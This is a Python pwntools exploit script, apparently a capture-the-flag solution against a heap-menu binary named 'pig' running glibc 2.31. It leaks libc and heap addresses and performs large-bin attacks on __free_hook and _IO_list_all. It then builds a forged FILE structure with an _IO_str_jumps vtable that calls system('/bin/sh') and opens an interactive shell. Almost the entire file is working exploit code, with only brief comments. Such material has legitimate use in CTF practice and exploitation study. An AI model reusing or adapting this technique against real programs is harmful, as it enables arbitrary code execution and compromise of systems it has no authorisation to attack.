1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
|
from pwn import *
p=process('./pig')
context.log_level='debug'
context.arch='amd64'
libc=ELF('libc-2.31.so.debug')
#libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6')
def menu(idx):
p.sendlineafter(b'choice',str(idx))
def add(idx,size):
menu(1)
p.sendlineafter(b'index',str(idx))
p.sendlineafter(b'size',str(size))
def dele(idx):
menu(2)
p.sendlineafter(b'index',str(idx))
def edit(idx,content):
menu(3)
p.sendlineafter(b'index',str(idx))
p.sendlineafter(b'length',str(len(content)))
p.sendafter(b'content',content)
def show(idx):
menu(4)
p.sendlineafter(b'index',str(idx))
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)
dele(2)
dele(0)
show(2)
p.recv(2)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecbe0
print(hex(libcbase))
show(0)
p.recv(2)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x6d0
print(hex(heapbase))
# #接下来申请freehook-0x20为fakechunk
# #需要fakechunk->bk是可写地址
# #用largebinattack改freehook,将fwd->bk_next_size改为freehook-0x28
free_hook=libcbase+libc.sym['__free_hook']
main_area=libcbase+0x1ecfd0
add(0,0x418)
edit(2,p64(main_area)*2+p64(0)+p64(free_hook-0x28))
dele(0)
#gdb.attach(p,'b *$rebase(0x143A)')
add(0,0x408)
print(hex(free_hook))
io_list_all=libcbase+libc.sym['_IO_list_all']
edit(2,p64(main_area)*2+p64(0)+p64(io_list_all-0x20))
dele(0)
add(0,0x408)
edit(2,p64(main_area)*2+p64(heapbase+0x6d0)*2)
add(2,0x428)#6d0
print(hex(io_list_all))
for i in range(10,15):
add(i,0x100)
for i in range(10,15):
dele(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
dele(20)
dele(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
print(hex(libcbase))
IO_str_jumps=libcbase+libc.sym['_IO_str_jumps']
main_arena2=libcbase+0x1ecce0
edit(22,b'\x00'*0x300+p64(0)+p64(0x111)+p64(heapbase+0x17c0)+p64(free_hook-0x20))
#gdb.attach(p,'b _int_malloc\nc')
add(25,0x100)
#gdb.attach(p)
fake_file_addr = heapbase + 0x6d0
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libcbase+libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0) # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2)) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(IO_str_jumps) # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libcbase+libc.sym['system'])
edit(2,fake_file)
gdb.attach(p)
p.sendlineafter(b'choice',b'5')
p.interactive()
|